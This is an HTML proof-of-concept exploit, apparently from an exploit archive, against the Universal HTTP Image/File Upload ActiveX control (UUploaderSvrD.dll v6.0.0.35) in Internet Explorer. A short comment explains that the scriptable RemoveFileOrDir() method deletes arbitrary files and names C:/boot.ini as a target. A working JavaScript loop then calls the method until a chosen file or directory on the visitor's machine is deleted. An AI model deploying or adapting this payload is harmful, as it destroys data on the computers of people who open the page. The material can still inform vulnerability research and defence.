<HTML>
<!--
- Univeral HTTP Image Upload (UUploaderSvrD.dll- v6.0.0.35) Remote File Deletetion Exploit -
&&
- Univeral HTTP File Upload (UUploaderSvrD.dll - v6.0.0.35) Remote File Deletetion Exploit -
Author: t0pP8uZz
Description: ActiveX Remote File Deletetion
Report: Tested on Microsoft Windows XP Pro (SP2 ) Internet Explorer 7 Fully Patched
ActiveX: http://image.uploadactivex.com/Download_versal_image_upload_activeX_control.htm
The Following Material Is For Educational Purposes Only - I will not be held responsable for any illegal actions.
InternetExplorer can Initialise this ActiveX control, And take advantage of its functions.
The RemoveFileOrDir() function is insecure, and can delete a file of any choice. The main secuirty threat of this ActiveX control is it being Safe Scripting for InternetExplorer.
Below you will find some code which makes use of the developers error and an attack can specify a file to delete. ie(C:/boot.ini)
Vendor: Not Reported
-->
<OBJECT ID="fileup" CLASSID="CLSID:04FD48E6-0712-4937-B09E-F3D285B11D82">Could Not Load ActiveX Control.</OBJECT>
<script language="javascript">
/* - Univeral HTTP Image Upload (UUploaderSvrD.dll - v6.0.0.35) Remote File Deletetion Exploit - */
/* Javascript Code By t0pP8uZz */
var x = "C:/tmp.txt"; /* Full Path To File To Delete OR directory*/
var del = true;
var c = 1;
while(del) {
try {
fileup.RemoveFileOrDir(x, c);
del = false;
alert("File Deleted!");
} catch(e){ c++; }
}
</script>
</HTML>
Polish
English